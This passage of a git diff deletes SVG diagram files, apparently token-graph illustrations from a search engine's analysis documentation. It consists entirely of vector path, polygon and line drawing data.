C26.504028,23.2989333 26.2488197,21.8406 25.738403,21.12185 C25.2279863,20.4031 24.5873613,20.043725 23.816528,20.043725 C23.066528,20.043725 22.4675697,20.3614333 22.019653,20.99685 C21.4467363,21.80935 21.160278,23.30935 21.160278,25.49685 L21.160278,25.49685 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <path d="M183.71559,4.1045 L183.71559,4.1045 C183.71559,2.5803148 184.951186,1.344719 186.475371,1.344719 L228.325896,1.344719 C229.05783,1.344719 229.759795,1.63547523 230.277342,2.1530381 C230.794921,2.67060097 231.085662,3.3725587 231.085662,4.1044999 L231.085662,48.6636799 C231.085662,50.1878651 229.850066,51.4234609 228.325896,51.4234609 L186.475371,51.4234609 C184.951186,51.4234609 183.71559,50.1878652 183.71559,48.6636799 L183.71559,4.1045 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M183.71559,4.1045 L183.71559,4.1045 C183.71559,2.5803148 184.951186,1.344719 186.475371,1.344719 L228.325896,1.344719 C229.05783,1.344719 229.759795,1.63547523 230.277342,2.1530381 C230.794921,2.67060097 231.085662,3.3725587 231.085662,4.1044999 L231.085662,48.6636799 C231.085662,50.1878651 229.850066,51.4234609 228.325896,51.4234609 L186.475371,51.4234609 C184.951186,51.4234609 183.71559,50.1878652 183.71559,48.6636799 L183.71559,4.1045 Z" id="Path" stroke="#979CAB" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M209.1659,33.3041 L207.525275,33.3041 L207.525275,22.850967 C207.129442,23.225967 206.608608,23.6061753 205.962775,23.991592 C205.327358,24.366592 204.754442,24.647842 204.244025,24.835342 L204.244025,23.241592 C205.160692,22.8145087 205.962775,22.2936753 206.650275,21.679092 C207.337775,21.0645087 207.82215,20.4707587 208.1034,19.897842 L209.1659,19.897842 L209.1659,33.3041 Z" id="Path" fill="#000000" fill-rule="nonzero"></path>
-                <polygon id="Path" fill="#FFFFFF" points="39.08891 16.85302 58.521977 16.85302 58.521977 38.679795 39.08891 38.679795"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="175.08891 16.85302 194.521985 16.85302 194.521985 38.679795 175.08891 38.679795"></polygon>
-                <line x1="194.52199" y1="27.7664" x2="47.56136" y2="28.2073485" id="Path" fill-opacity="0" fill="#000000"></line>
-                <line x1="176.52206" y1="27.82041" x2="47.56134" y2="28.20735" id="Path" stroke="#00BFB3" stroke-width="3" stroke-linejoin="round"></line>
-                <polygon id="Path" stroke="#00BFB3" stroke-width="3" fill="#00BFB3" points="176.53693 32.77559 190.136295 27.779565 176.507206 22.8652355"></polygon>
-                <path d="M367.71558,4.1045 L367.71558,4.1045 C367.71558,2.5803148 368.951206,1.344719 370.475376,1.344719 L412.325901,1.344719 C413.057835,1.344719 413.7598,1.63547523 414.277348,2.1530381 C414.794926,2.67060097 415.085667,3.3725587 415.085667,4.1044999 L415.085667,48.6636799 C415.085667,50.1878651 413.850071,51.4234609 412.325901,51.4234609 L370.475376,51.4234609 C368.951206,51.4234609 367.71558,50.1878652 367.71558,48.6636799 L367.71558,4.1045 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M367.71558,4.1045 L367.71558,4.1045 C367.71558,2.5803148 368.951206,1.344719 370.475376,1.344719 L412.325901,1.344719 C413.057835,1.344719 413.7598,1.63547523 414.277348,2.1530381 C414.794926,2.67060097 415.085667,3.3725587 415.085667,4.1044999 L415.085667,48.6636799 C415.085667,50.1878651 413.850071,51.4234609 412.325901,51.4234609 L370.475376,51.4234609 C368.951206,51.4234609 367.71558,50.1878652 367.71558,48.6636799 L367.71558,4.1045 Z" id="Path" stroke="#979CAB" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M395.6034,31.72597 L395.6034,33.304095 L386.775275,33.304095 C386.764858,32.9082617 386.827358,32.5280533 386.962775,32.16347 C387.191942,31.5593033 387.551317,30.9655533 388.0409,30.38222 C388.5409,29.7988867 389.25965,29.1270117 390.19715,28.366595 C391.645067,27.1790899 392.624233,26.2363791 393.13465,25.5384624 C393.645067,24.8405457 393.900275,24.1842957 393.900275,23.5697124 C393.900275,22.9134624 393.6659,22.3665874 393.19715,21.9290874 C392.738817,21.4811707 392.13465,21.2572124 391.38465,21.2572124 C390.592983,21.2572124 389.957567,21.4967957 389.4784,21.9759624 C389.00965,22.4447124 388.775275,23.0957541 388.775275,23.9290874 L387.087775,23.7572124 C387.202358,22.4967957 387.63465,21.5384624 388.38465,20.8822124 C389.145067,20.2259624 390.155483,19.8978374 391.4159,19.8978374 C392.69715,19.8978374 393.712775,20.2520041 394.462775,20.9603374 C395.212775,21.6686707 395.587775,22.5488791 395.587775,23.6009624 C395.587775,24.1322124 395.4784,24.6582541 395.25965,25.1790874 C395.0409,25.6999207 394.676317,26.2467957 394.1659,26.8197124 C393.6659,27.3822124 392.82215,28.1634649 391.63465,29.16347 C390.655483,29.9863867 390.025275,30.5488867 389.744025,30.85097 C389.462775,31.1426367 389.233608,31.4343033 389.056525,31.72597 L395.6034,31.72597 Z" id="Path" fill="#000000" fill-rule="nonzero"></path>
-                <polygon id="Path" fill="#FFFFFF" points="223.0889 16.85302 242.521975 16.85302 242.521975 38.679795 223.0889 38.679795"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="359.0889 16.85302 378.521975 16.85302 378.521975 38.679795 359.0889 38.679795"></polygon>
-                <line x1="378.52197" y1="27.7664" x2="231.56134" y2="28.2073485" id="Path" fill-opacity="0" fill="#000000"></line>
-                <line x1="360.52206" y1="27.82041" x2="231.56134" y2="28.20735" id="Path" stroke="#00BFB3" stroke-width="3" stroke-linejoin="round"></line>
-                <polygon id="Path" stroke="#00BFB3" stroke-width="3" fill="#00BFB3" points="360.53693 32.77559 374.136295 27.779565 360.507206 22.8652355"></polygon>
-                <path d="M551.7156,4.1045 L551.7156,4.1045 C551.7156,2.5803148 552.951196,1.344719 554.475366,1.344719 L596.325891,1.344719 C597.057824,1.344719 597.75979,1.63547523 598.277368,2.1530381 C598.794946,2.67060097 599.085717,3.3725587 599.085717,4.1044999 L599.085717,48.6636799 C599.085717,50.1878651 597.850122,51.4234609 596.325891,51.4234609 L554.475366,51.4234609 C552.951196,51.4234609 551.7156,50.1878652 551.7156,48.6636799 L551.7156,4.1045 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M551.7156,4.1045 L551.7156,4.1045 C551.7156,2.5803148 552.951196,1.344719 554.475366,1.344719 L596.325891,1.344719 C597.057824,1.344719 597.75979,1.63547523 598.277368,2.1530381 C598.794946,2.67060097 599.085717,3.3725587 599.085717,4.1044999 L599.085717,48.6636799 C599.085717,50.1878651 597.850122,51.4234609 596.325891,51.4234609 L554.475366,51.4234609 C552.951196,51.4234609 551.7156,50.1878652 551.7156,48.6636799 L551.7156,4.1045 Z" id="Path" stroke="#979CAB" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M570.994,29.77284 L572.634625,29.55409 C572.822125,30.49159 573.139833,31.163465 573.58775,31.569715 C574.046083,31.975965 574.598167,32.17909 575.244,32.17909 C576.014833,32.17909 576.665875,31.913465 577.197125,31.382215 C577.728375,30.850965 577.994,30.1895067 577.994,29.3978324 C577.994,28.64784 577.749208,28.0280458 577.259625,27.5384574 C576.770042,27.0488741 576.145042,26.8040824 575.384625,26.8040824 C575.072125,26.8040824 574.686708,26.8613741 574.228375,26.9759574 L574.415875,25.5384574 C574.520042,25.5488741 574.608583,25.5540824 574.6815,25.5540824 C575.379417,25.5540824 576.004417,25.3717907 576.5565,25.0072074 C577.119,24.6426241 577.40025,24.0853324 577.40025,23.3353324 C577.40025,22.7311657 577.197125,22.2311657 576.790875,21.8353324 C576.384625,21.4394991 575.858583,21.2415824 575.21275,21.2415824 C574.577333,21.2415824 574.046083,21.4447074 573.619,21.8509574 C573.191917,22.2467907 572.921083,22.8457491 572.8065,23.6478324 L571.165875,23.3509574 C571.363792,22.2572074 571.816917,21.4082491 572.52525,20.8040824 C573.233583,20.1999157 574.119,19.8978324 575.1815,19.8978324 C575.910667,19.8978324 576.577333,20.0540824 577.1815,20.3665824 C577.796083,20.6790824 578.264833,21.1061657 578.58775,21.6478324 C578.921083,22.1894991 579.08775,22.7624157 579.08775,23.3665824 C579.08775,23.9394991 578.9315,24.4655407 578.619,24.9447074 C578.3065,25.4134574 577.848167,25.7884574 577.244,26.0697074 C578.035667,26.2572074 578.65025,26.6374157 579.08775,27.2103324 C579.52525,27.7832541 579.744,28.5020067 579.744,29.36659 C579.744,30.52284 579.316917,31.507215 578.46275,32.319715 C577.619,33.132215 576.546083,33.538465 575.244,33.538465 C574.066917,33.538465 573.092958,33.1895067 572.322125,32.49159 C571.551292,31.7936733 571.108583,30.8874233 570.994,29.77284 Z" id="Path" fill="#000000" fill-rule="nonzero"></path>
-                <polygon id="Path" fill="#FFFFFF" points="407.0889 16.85302 426.521975 16.85302 426.521975 38.679795 407.0889 38.679795"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="543.0889 16.85302 562.521944 16.85302 562.521944 38.679795 543.0889 38.679795"></polygon>
-                <line x1="562.522" y1="27.7664" x2="415.56137" y2="28.2073485" id="Path" fill-opacity="0" fill="#000000"></line>
-                <line x1="544.52203" y1="27.82041" x2="415.56133" y2="28.20735" id="Path" stroke="#00BFB3" stroke-width="3" stroke-linejoin="round"></line>
-                <polygon id="Path" stroke="#00BFB3" stroke-width="3" fill="#00BFB3" points="544.5369 32.77559 558.136265 27.779565 544.507176 22.8652355"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="75.41746 10.47244 146.3151 10.47244 146.3151 41.842511 75.41746 41.842511"></polygon>
-                <path d="M96.48065,36.7806104 L96.48065,32.046235 C96.23065,32.4108183 95.8764833,32.7129017 95.41815,32.952485 C94.9598167,33.1816517 94.4702333,33.296235 93.9494,33.296235 C92.8035667,33.296235 91.8139833,32.8379017 90.98065,31.921235 C90.1577333,31.0045683 89.746275,29.74936 89.746275,28.15561 C89.746275,27.1764383 89.9129417,26.3014357 90.246275,25.5306024 C90.590025,24.7597691 91.0796083,24.1764357 91.715025,23.7806024 C92.3608583,23.3847691 93.0639833,23.1868524 93.8244,23.1868524 C95.0223167,23.1868524 95.965025,23.6920607 96.652525,24.7024774 L96.652525,23.4056024 L98.121275,23.4056024 L98.121275,36.7806104 L96.48065,36.7806104 L96.48065,36.7806104 Z M91.433775,28.21811 C91.433775,29.4576933 91.6941917,30.389985 92.215025,31.014985 C92.7358583,31.639985 93.3608583,31.952485 94.090025,31.952485 C94.7879417,31.952485 95.3869,31.65561 95.8869,31.06186 C96.3973167,30.46811 96.652525,29.5670683 96.652525,28.358735 C96.652525,27.0670633 96.3869,26.0983107 95.85565,25.4524774 C95.3244,24.8066441 94.6994,24.4837274 93.98065,24.4837274 C93.2723167,24.4837274 92.66815,24.7858107 92.16815,25.3899774 C91.6785667,25.9941441 91.433775,26.9368549 91.433775,28.21811 Z M107.028242,33.077485 L107.028242,31.65561 C106.278242,32.74936 105.257409,33.296235 103.965742,33.296235 C103.392825,33.296235 102.856367,33.18686 102.356367,32.96811 C101.866784,32.74936 101.5022,32.4733183 101.262617,32.139985 C101.023034,31.8066517 100.856367,31.4004017 100.762617,30.921235 C100.6897,30.608735 100.653242,30.0983183 100.653242,29.389985 L100.653242,23.4056024 L102.293867,23.4056024 L102.293867,28.764985 C102.293867,29.6191517 102.330325,30.1972767 102.403242,30.49936 C102.507409,30.9264433 102.726159,31.264985 103.059492,31.514985 C103.392825,31.764985 103.804284,31.889985 104.293867,31.889985 C104.78345,31.889985 105.241784,31.764985 105.668867,31.514985 C106.106367,31.2545683 106.413659,30.9108183 106.590742,30.483735 C106.767825,30.046235 106.856367,29.4160267 106.856367,28.59311 L106.856367,23.4056024 L108.496992,23.4056024 L108.496992,33.0774854 L107.028242,33.0774854 L107.028242,33.077485 Z M111.075834,21.608727 L111.075834,19.718102 L112.716459,19.718102 L112.716459,21.608727 L111.075834,21.608727 Z M111.075834,33.077485 L111.075834,23.405602 L112.716459,23.405602 L112.716459,33.077485 L111.075834,33.077485 Z M121.533155,29.53061 L123.14253,29.74936 C122.965447,30.8535267 122.512322,31.7233183 121.783155,32.358735 C121.064405,32.983735 120.17378,33.296235 119.11128,33.296235 C117.788363,33.296235 116.725863,32.8639433 115.92378,31.99936 C115.121697,31.1347767 114.720655,29.8951933 114.720655,28.28061 C114.720655,27.2285216 114.89253,26.3118524 115.23628,25.5306024 C115.58003,24.7493524 116.106072,24.1660191 116.814405,23.7806024 C117.522738,23.3847691 118.293572,23.1868524 119.126905,23.1868524 C120.178988,23.1868524 121.038363,23.4524774 121.70503,23.9837274 C122.371697,24.5149774 122.79878,25.2701857 122.98628,26.2493524 L121.39253,26.4837274 C121.23628,25.8378941 120.965447,25.3535191 120.58003,25.0306024 C120.194613,24.6972691 119.731072,24.5306024 119.189405,24.5306024 C118.366488,24.5306024 117.694613,24.8274774 117.17378,25.4212274 C116.652947,26.0149774 116.39253,26.9524799 116.39253,28.233735 C116.39253,29.5358183 116.64253,30.483735 117.14253,31.077485 C117.64253,31.6608183 118.293572,31.952485 119.095655,31.952485 C119.741488,31.952485 120.277947,31.7545683 120.70503,31.358735 C121.14253,30.9629017 121.418572,30.3535267 121.533155,29.53061 Z M124.54878,33.077485 L124.54878,19.718102 L126.189405,19.718102 L126.189405,27.343102 L130.08003,23.405602 L132.189405,23.405602 L128.501905,26.999352 L132.564405,33.077485 L130.54878,33.077485 L127.345655,28.1243596 L126.189405,29.2493596 L126.189405,33.077485 L124.54878,33.077485 L124.54878,33.077485 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <polygon id="Path" fill="#FFFFFF" points="261.4882 10.47244 332.385844 10.47244 332.385844 41.842511 261.4882 41.842511"></polygon>
-                <path d="M274.26498,33.07748 L272.749355,33.07748 L272.749355,19.718097 L274.38998,19.718097 L274.38998,24.483722 C275.087897,23.6191387 275.973313,23.186847 277.04623,23.186847 C277.63998,23.186847 278.20248,23.3066387 278.73373,23.546222 C279.26498,23.7858053 279.70248,24.124347 280.04623,24.561847 C280.38998,24.9889303 280.655605,25.5097637 280.843105,26.124347 C281.041022,26.7389303 281.13998,27.3951829 281.13998,28.0931046 C281.13998,29.7493546 280.728522,31.0306046 279.905605,31.9368546 C279.093105,32.8431046 278.10873,33.2962296 276.95248,33.2962296 C275.817063,33.2962296 274.92123,32.8170629 274.26498,31.8587296 L274.26498,33.0774796 L274.26498,33.07748 Z M274.249355,28.17123 C274.249355,29.32748 274.410813,30.1660217 274.73373,30.686855 C275.244147,31.5305974 275.942063,31.95248 276.82748,31.95248 C277.54623,31.95248 278.166022,31.63998 278.686855,31.01498 C279.207688,30.38998 279.468105,29.4628967 279.468105,28.23373 C279.468105,26.9733083 279.218105,26.0410141 278.718105,25.4368474 C278.218105,24.8326807 277.60873,24.5305974 276.88998,24.5305974 C276.181647,24.5305974 275.561855,24.8430974 275.030605,25.4680974 C274.509772,26.0930974 274.249355,26.9941416 274.249355,28.17123 Z M283.125087,33.07748 L283.125087,23.405597 L284.593837,23.405597 L284.593837,24.874347 C284.968837,24.186847 285.312587,23.733722 285.625087,23.514972 C285.948004,23.296222 286.30217,23.186847 286.687587,23.186847 C287.23967,23.186847 287.80217,23.3639303 288.375087,23.718097 L287.812587,25.233722 C287.406337,24.9941387 287.005295,24.874347 286.609462,24.874347 C286.244879,24.874347 285.921962,24.983722 285.640712,25.202472 C285.359462,25.421222 285.156337,25.718097 285.031337,26.093097 C284.843837,26.6764303 284.750087,27.3170579 284.750087,28.0149796 L284.750087,33.07748 L283.125087,33.07748 L283.125087,33.07748 Z M288.744014,28.23373 C288.744014,26.4420583 289.238806,25.1191391 290.228389,24.2649724 C291.061722,23.5462224 292.077347,23.1868474 293.275264,23.1868474 C294.608597,23.1868474 295.697139,23.6243474 296.540889,24.4993474 C297.384639,25.3639307 297.806514,26.5670583 297.806514,28.10873 C297.806514,29.3483133 297.619014,30.32748 297.244014,31.04623 C296.869014,31.7545633 296.322139,32.3066467 295.603389,32.70248 C294.895056,33.0983133 294.119014,33.29623 293.275264,33.29623 C291.921097,33.29623 290.827347,32.8639383 289.994014,31.999355 C289.160681,31.124355 288.744014,29.8691467 288.744014,28.23373 Z M290.431514,28.23373 C290.431514,29.4733133 290.697139,30.405605 291.228389,31.030605 C291.770056,31.6451883 292.452347,31.95248 293.275264,31.95248 C294.087764,31.95248 294.764847,31.6451883 295.306514,31.030605 C295.848181,30.405605 296.119014,29.4576883 296.119014,28.186855 C296.119014,26.9889333 295.848181,26.0826807 295.306514,25.4680974 C294.764847,24.8535141 294.087764,24.5462224 293.275264,24.5462224 C292.452347,24.5462224 291.770056,24.8535141 291.228389,25.4680974 C290.697139,26.0722641 290.431514,26.9941416 290.431514,28.23373 Z M301.510341,33.07748 L298.541591,23.405597 L300.244716,23.405597 L301.775966,28.9837296 L302.354091,31.0618546 C302.385341,30.9576879 302.552008,30.2910213 302.854091,29.0618546 L304.400966,23.405597 L306.088466,23.405597 L307.525966,29.0149796 L308.010341,30.8587296 L308.572841,28.9993546 L310.229091,23.405597 L311.822841,23.405597 L308.791591,33.07748 L307.088466,33.07748 L305.557216,27.2805974 L305.182216,25.6399724 L303.229091,33.07748 L301.510341,33.07748 Z M313.202052,33.07748 L313.202052,23.405597 L314.670802,23.405597 L314.670802,24.780597 C315.379135,23.718097 316.405177,23.186847 317.748927,23.186847 C318.33226,23.186847 318.868719,23.2910137 319.358302,23.499347 C319.847885,23.7076803 320.212469,23.983722 320.452052,24.327472 C320.702052,24.6608053 320.873927,25.061847 320.967677,25.530597 C321.030177,25.8326803 321.061427,26.3639303 321.061427,27.124347 L321.061427,33.07748 L319.420802,33.07748 L319.420802,27.186847 C319.420802,26.5201803 319.353094,26.0253887 319.217677,25.702472 C319.092677,25.3691387 318.868719,25.1035137 318.545802,24.905597 C318.222885,24.7076803 317.842677,24.608722 317.405177,24.608722 C316.70726,24.608722 316.103094,24.8326803 315.592677,25.280597 C315.092677,25.718097 314.842677,26.5566387 314.842677,27.796222 L314.842677,33.07748 L313.202052,33.07748 L313.202052,33.07748 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <polygon id="Path" fill="#FFFFFF" points="454.6824 10.47244 502.052487 10.47244 502.052487 41.842511 454.6824 41.842511"></polygon>
-                <path d="M467.5489,33.07748 L467.5489,24.671222 L466.095775,24.671222 L466.095775,23.405597 L467.5489,23.405597 L467.5489,22.374347 C467.5489,21.7285137 467.606192,21.2441387 467.720775,20.921222 C467.877025,20.4941387 468.153067,20.1503887 468.5489,19.889972 C468.944733,19.6295553 469.502025,19.499347 470.220775,19.499347 C470.679108,19.499347 471.189525,19.5514303 471.752025,19.655597 L471.502025,21.093097 C471.168692,21.030597 470.850983,20.999347 470.5489,20.999347 C470.0489,20.999347 469.694733,21.108722 469.4864,21.327472 C469.278067,21.5358053 469.1739,21.9316387 469.1739,22.514972 L469.1739,23.405597 L471.064525,23.405597 L471.064525,24.671222 L469.1739,24.671222 L469.1739,33.07748 L467.5489,33.07748 Z M471.732189,28.23373 C471.732189,26.4420583 472.22698,25.1191391 473.216564,24.2649724 C474.049897,23.5462224 475.065522,23.1868474 476.263439,23.1868474 C477.596772,23.1868474 478.685314,23.6243474 479.529064,24.4993474 C480.372814,25.3639307 480.794689,26.5670583 480.794689,28.10873 C480.794689,29.3483133 480.607189,30.32748 480.232189,31.04623 C479.857189,31.7545633 479.310314,32.3066467 478.591564,32.70248 C477.88323,33.0983133 477.107189,33.29623 476.263439,33.29623 C474.909272,33.29623 473.815522,32.8639383 472.982189,31.999355 C472.148855,31.124355 471.732189,29.8691467 471.732189,28.23373 Z M473.419689,28.23373 C473.419689,29.4733133 473.685314,30.405605 474.216564,31.030605 C474.75823,31.6451883 475.440522,31.95248 476.263439,31.95248 C477.075939,31.95248 477.753022,31.6451883 478.294689,31.030605 C478.836355,30.405605 479.107189,29.4576883 479.107189,28.186855 C479.107189,26.9889333 478.836355,26.0826807 478.294689,25.4680974 C477.753022,24.8535141 477.075939,24.5462224 476.263439,24.5462224 C475.440522,24.5462224 474.75823,24.8535141 474.216564,25.4680974 C473.685314,26.0722641 473.419689,26.9941416 473.419689,28.23373 Z M481.623546,33.07748 L485.154796,28.04623 L481.889171,23.4055974 L483.936046,23.4055974 L485.420421,25.6712224 C485.701671,26.0983057 485.925629,26.4576807 486.092296,26.7493474 C486.363129,26.3535141 486.607921,25.9993474 486.826671,25.6868474 L488.467296,23.4055974 L490.420421,23.4055974 L487.076671,27.9524724 L490.670421,33.07748 L488.654796,33.07748 L486.670421,30.07748 L486.154796,29.26498 L483.607921,33.07748 L481.623546,33.07748 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-            </g>
-        </g>
-    </g>
-</svg>
\ No newline at end of file
diff --git a/docs/reference/images/analysis/token-graph-qbf-synonym-ex.svg b/docs/reference/images/analysis/token-graph-qbf-synonym-ex.svg
deleted file mode 100644
index 2baa3d9e63c..00000000000
--- a/docs/reference/images/analysis/token-graph-qbf-synonym-ex.svg
+++ /dev/null
@@ -1,52 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<svg width="602px" height="123px" viewBox="0 0 602 123" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
-    <!-- Generator: Sketch 60.1 (88133) - https://sketch.com -->
-    <title>Slice 1</title>
-    <desc>Created with Sketch.</desc>
-    <g id="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd">
-        <g id="token-graph-qbf-synonym-ex" transform="translate(1.000000, 1.000000)">
-            <g id="Group">
-                <path d="M0.209972,1.39317 L0.209972,1.39317 C0.209972,0.6962172 0.774963,0.13123 1.471912,0.13123 L46.318115,0.13123 C46.6528013,0.13123 46.9737775,0.26418746 47.2104414,0.50084365 C47.4470975,0.73749984 47.580055,1.05848375 47.580055,1.39317 L47.580055,48.948025 C47.580055,49.6449855 47.0150602,50.2099726 46.318115,50.2099726 L1.471912,50.2099726 C0.774963,50.2099726 0.209972,49.6449854 0.209972,48.948025 L0.209972,1.39317 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M0.209972,1.39317 L0.209972,1.39317 C0.209972,0.6962172 0.774963,0.13123 1.471912,0.13123 L46.318115,0.13123 C46.6528013,0.13123 46.9737775,0.26418746 47.2104414,0.50084365 C47.4470975,0.73749984 47.580055,1.05848375 47.580055,1.39317 L47.580055,48.948025 C47.580055,49.6449855 47.0150602,50.2099726 46.318115,50.2099726 L1.471912,50.2099726 C0.774963,50.2099726 0.209972,49.6449854 0.209972,48.948025 L0.209972,1.39317 Z" id="Path" stroke="#979CAB" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M19.488403,25.49685 C19.488403,23.9239333 19.6498613,22.6583083 19.972778,21.699975 C20.2956947,20.731225 20.7748613,19.9864333 21.410278,19.4656 C22.0561113,18.9447667 22.863403,18.68435 23.832153,18.68435 C24.550903,18.68435 25.1811113,18.8301833 25.722778,19.12185 C26.2644447,19.4031 26.707153,19.8197667 27.050903,20.37185 C27.4050697,20.9135167 27.6811113,21.574975 27.879028,22.356225 C28.0873613,23.1270583 28.191528,24.1739333 28.191528,25.49685 C28.191528,27.0697667 28.0300697,28.3406025 27.707153,29.3093576 C27.3842363,30.2676909 26.8998613,31.0124826 26.254028,31.5437326 C25.6186113,32.0645659 24.8113197,32.3249826 23.832153,32.3249826 C22.550903,32.3249826 21.5404863,31.8614409 20.800903,30.9343576 C19.925903,29.8197743 19.488403,28.0072717 19.488403,25.49685 L19.488403,25.49685 Z M21.160278,25.49685 C21.160278,27.6947717 21.4154863,29.1583159 21.925903,29.8874826 C22.4467363,30.6062326 23.082153,30.9656076 23.832153,30.9656076 C24.5925697,30.9656076 25.2279863,30.6010243 25.738403,29.8718576 C26.2488197,29.1426909 26.504028,27.6843551 26.504028,25.49685 C26.504028,23.2989333 26.2488197,21.8406 25.738403,21.12185 C25.2279863,20.4031 24.5873613,20.043725 23.816528,20.043725 C23.066528,20.043725 22.4675697,20.3614333 22.019653,20.99685 C21.4467363,21.80935 21.160278,23.30935 21.160278,25.49685 L21.160278,25.49685 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <path d="M183.71559,4.1045 L183.71559,4.1045 C183.71559,2.5803148 184.951186,1.344719 186.475371,1.344719 L228.325896,1.344719 C229.05783,1.344719 229.759795,1.63547523 230.277342,2.1530381 C230.794921,2.67060097 231.085662,3.3725587 231.085662,4.1044999 L231.085662,48.6636799 C231.085662,50.1878651 229.850066,51.4234609 228.325896,51.4234609 L186.475371,51.4234609 C184.951186,51.4234609 183.71559,50.1878652 183.71559,48.6636799 L183.71559,4.1045 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M183.71559,4.1045 L183.71559,4.1045 C183.71559,2.5803148 184.951186,1.344719 186.475371,1.344719 L228.325896,1.344719 C229.05783,1.344719 229.759795,1.63547523 230.277342,2.1530381 C230.794921,2.67060097 231.085662,3.3725587 231.085662,4.1044999 L231.085662,48.6636799 C231.085662,50.1878651 229.850066,51.4234609 228.325896,51.4234609 L186.475371,51.4234609 C184.951186,51.4234609 183.71559,50.1878652 183.71559,48.6636799 L183.71559,4.1045 Z" id="Path" stroke="#979CAB" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M209.1659,33.3041 L207.525275,33.3041 L207.525275,22.850967 C207.129442,23.225967 206.608608,23.6061753 205.962775,23.991592 C205.327358,24.366592 204.754442,24.647842 204.244025,24.835342 L204.244025,23.241592 C205.160692,22.8145087 205.962775,22.2936753 206.650275,21.679092 C207.337775,21.0645087 207.82215,20.4707587 208.1034,19.897842 L209.1659,19.897842 L209.1659,33.3041 Z" id="Path" fill="#000000" fill-rule="nonzero"></path>
-                <polygon id="Path" fill="#FFFFFF" points="39.08891 16.85302 58.521977 16.85302 58.521977 38.679795 39.08891 38.679795"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="175.08891 16.85302 194.521985 16.85302 194.521985 38.679795 175.08891 38.679795"></polygon>
-                <line x1="194.52199" y1="27.7664" x2="47.56136" y2="28.2073485" id="Path" fill-opacity="0" fill="#000000"></line>
-                <line x1="176.52206" y1="27.82041" x2="47.56134" y2="28.20735" id="Path" stroke="#00BFB3" stroke-width="3" stroke-linejoin="round"></line>
-                <polygon id="Path" stroke="#00BFB3" stroke-width="3" fill="#00BFB3" points="176.53693 32.77559 190.136295 27.779565 176.507206 22.8652355"></polygon>
-                <path d="M367.71558,4.1045 L367.71558,4.1045 C367.71558,2.5803148 368.951206,1.344719 370.475376,1.344719 L412.325901,1.344719 C413.057835,1.344719 413.7598,1.63547523 414.277348,2.1530381 C414.794926,2.67060097 415.085667,3.3725587 415.085667,4.1044999 L415.085667,48.6636799 C415.085667,50.1878651 413.850071,51.4234609 412.325901,51.4234609 L370.475376,51.4234609 C368.951206,51.4234609 367.71558,50.1878652 367.71558,48.6636799 L367.71558,4.1045 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M367.71558,4.1045 L367.71558,4.1045 C367.71558,2.5803148 368.951206,1.344719 370.475376,1.344719 L412.325901,1.344719 C413.057835,1.344719 413.7598,1.63547523 414.277348,2.1530381 C414.794926,2.67060097 415.085667,3.3725587 415.085667,4.1044999 L415.085667,48.6636799 C415.085667,50.1878651 413.850071,51.4234609 412.325901,51.4234609 L370.475376,51.4234609 C368.951206,51.4234609 367.71558,50.1878652 367.71558,48.6636799 L367.71558,4.1045 Z" id="Path" stroke="#979CAB" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M395.6034,31.72597 L395.6034,33.304095 L386.775275,33.304095 C386.764858,32.9082617 386.827358,32.5280533 386.962775,32.16347 C387.191942,31.5593033 387.551317,30.9655533 388.0409,30.38222 C388.5409,29.7988867 389.25965,29.1270117 390.19715,28.366595 C391.645067,27.1790899 392.624233,26.2363791 393.13465,25.5384624 C393.645067,24.8405457 393.900275,24.1842957 393.900275,23.5697124 C393.900275,22.9134624 393.6659,22.3665874 393.19715,21.9290874 C392.738817,21.4811707 392.13465,21.2572124 391.38465,21.2572124 C390.592983,21.2572124 389.957567,21.4967957 389.4784,21.9759624 C389.00965,22.4447124 388.775275,23.0957541 388.775275,23.9290874 L387.087775,23.7572124 C387.202358,22.4967957 387.63465,21.5384624 388.38465,20.8822124 C389.145067,20.2259624 390.155483,19.8978374 391.4159,19.8978374 C392.69715,19.8978374 393.712775,20.2520041 394.462775,20.9603374 C395.212775,21.6686707 395.587775,22.5488791 395.587775,23.6009624 C395.587775,24.1322124 395.4784,24.6582541 395.25965,25.1790874 C395.0409,25.6999207 394.676317,26.2467957 394.1659,26.8197124 C393.6659,27.3822124 392.82215,28.1634649 391.63465,29.16347 C390.655483,29.9863867 390.025275,30.5488867 389.744025,30.85097 C389.462775,31.1426367 389.233608,31.4343033 389.056525,31.72597 L395.6034,31.72597 Z" id="Path" fill="#000000" fill-rule="nonzero"></path>
-                <polygon id="Path" fill="#FFFFFF" points="223.0889 16.85302 242.521975 16.85302 242.521975 38.679795 223.0889 38.679795"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="359.0889 16.85302 378.521975 16.85302 378.521975 38.679795 359.0889 38.679795"></polygon>
-                <line x1="378.52197" y1="27.7664" x2="231.56134" y2="28.2073485" id="Path" fill-opacity="0" fill="#000000"></line>
-                <line x1="360.52206" y1="27.82041" x2="231.56134" y2="28.20735" id="Path" stroke="#00BFB3" stroke-width="3" stroke-linejoin="round"></line>
-                <polygon id="Path" stroke="#00BFB3" stroke-width="3" fill="#00BFB3" points="360.53693 32.77559 374.136295 27.779565 360.507206 22.8652355"></polygon>
